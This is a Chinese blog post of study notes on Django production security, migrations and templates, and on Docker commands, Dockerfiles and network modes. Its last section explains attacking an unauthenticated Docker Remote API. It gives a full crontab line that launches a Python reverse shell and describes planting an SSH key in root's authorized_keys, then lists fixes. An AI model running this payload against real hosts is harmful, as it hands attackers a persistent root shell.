Django开发小记 & Docker笔记


本文中两者并没有关系,只是单独发略显单薄…

Django

文章中所有的{{ }}{% %}都需要用

{% raw %}
{% endraw %}

包裹起来,否则Hexo会解析出错:

Template render error: unknown block tag

Template render error: tag name expected

生产环境下需要注意的

环境隔离

使用virtualenv创建单独的虚拟运行环境,无论是学习开发(方便管理)还是在生产环境(避免依赖冲突)都是很有必要的。

安全

  • 关闭DEBUG模式,但需要添加处理404页面
  • 保护好SECRET_KEY,别直接一股脑都传gayhub了
  • 更改默认的admin管理路径
  • 使用Django提供的ORM以避免注入
  • 设置ALLOWED_HOSTS
  • API调用安全…目前还不会
  • CSRF Token,下面会专门再提到

稳定

  • 使用GunicornuWSGI作为网关接口服务以替换Django自带的WSGI
  • 增加一层Nginx反向代理,处理静态资源等
  • 使用supervisor守护Django进程,避免意外中断导致Web服务宕机

Others

Templates

模板文件最好建立自己的命名空间,也就是放入和自身应用同名的文件夹中。这是因为Django无法区分多个应用中重名的模板文件。

Migrate

改变模型需要这三步:

  • 编辑 models.py 文件,改变模型。
  • 运行 python manage.py makemigrations 为模型的改变生成迁移文件。
  • 运行 python manage.py migrate 来应用数据库迁移。

每当你修改了models.py文件,都需要用makemigrations和migrate这两条指令迁移数据。

使用python3 manage.py sqlmigrate blog 0001可以将数据库的迁移文件转换成SQL语句查看。

Django Filter

过滤器: {{ value | filter }}

对接Markdown解析器时,Django出于安全考虑会将HTML转义,在使用markdown组件时会造成渲染的HTML无法正常显示,因此需要添加safe过滤器 {{ article.body|safe }},告诉Django这段字符不需要转义。

CSRF Token

所有针对内部URL的POST表单都应该使用CSRF Token模板标签,在base模板页面中添加{% csrf_token %}是最简洁的方法。


Docker

docker container run每执行一次会新建一个容器,用docker container start [contianerID]命令才可以启动之前的容器,重复使用。


docker info / docker version

docker run ubuntu echo hello docker

# 列出本机的所有 image 文件。
$ docker image ls

# 列出本机正在运行的容器
$ docker container ls

# 列出本机所有容器,包括终止运行的容器
$ docker container ls --all


# 终止运行
$ docker container kill [containID]

# 删除容器
$ docker container rm [containerID]

编写Dockerfile

根目录下新建.dockerignore,写入不打包进image的文件

FROM node:8.4 #image继承node官方8.4版
MAINTAINER 0sec #作者
COPY . /app #将当前目录下除.dockerignore排除的路径copy到image的/app目录
WORKDIR /app #指定接下来工作路径为/app
RUN npm install #运行npm install安装依赖
EXPOSE 3000 #暴露3000端口
CMD echo 'hello docker'

# RUN的结果打包进image(可有多个),CMD在容器启动后执行(只有一个)
# 创建image文件:
docker build -t hello_docker(:1.0) .

# 从image生成容器
docker container run -p 8000:3000 -it hello_docker /bin/bash

-p:容器3000映射到本机8000
-it:shell映射
启动Bash shell(会覆盖dockerfile的CMD)

进入容器,Ctrl+d/exit/docker container kill [id] 终止容器

若不使用-it,则需要用docker container logs查看输出,docker container exec映射shell了。

Docker网络

Docker安装后会自动创建三个网络:

$ docker network ls

NETWORK ID          NAME                DRIVER
7fca4eb8c647        bridge              bridge
9f904ee27bf5        none                null
cf03ee007fb4        host                host

Docker有四种网络模式:

none

docker run --net=none ...

不为容器配置任何网络功能,仅有一lo环回接口。

container

docker run --net=container:[containerID] ...

与另一个运行中的容器共享网络,IP、DNS、hostname都继承自指定的容器。

host

docker run --net=host ...

与主机共享网络,容器有权限操作主机协议栈、路由表、防火墙等网络配置,因此较不安全,尽量避免使用。

bridge

docker run --net=bridge ...

可以理解为Docker的NAT网络模式,可以实现容器与主机、容器间的通信(通过iptables规则控制)。

Docker未授权访问

攻击原理类似Redis未授权访问,方法一为向服务器写文件(ssh公钥~/.ssh/id_rsa.pub写到/root/.ssh/authorized_keys)从而获得权限;二为挂载宿主机/etc目录,利用contrab计划任务反弹shell:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

修复

  • 尽量不启用Docker Remote API,若要启用则添加认证如ACL/TLS/Nginx基础认证;
  • 客户端连接时设置以下环境变量export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
文章目录
  1. 1. Django
    1. 1.1. 生产环境下需要注意的
      1. 1.1.1. 环境隔离
      2. 1.1.2. 安全
      3. 1.1.3. 稳定
    2. 1.2. Others
      1. 1.2.1. Templates
      2. 1.2.2. Migrate
      3. 1.2.3. Django Filter
      4. 1.2.4. CSRF Token
  2. 2. Docker
    1. 2.1. 编写Dockerfile
    2. 2.2. Docker网络
      1. 2.2.1. none
      2. 2.2.2. container
      3. 2.2.3. host
      4. 2.2.4. bridge
    3. 2.3. Docker未授权访问
      1. 2.3.1. 修复
|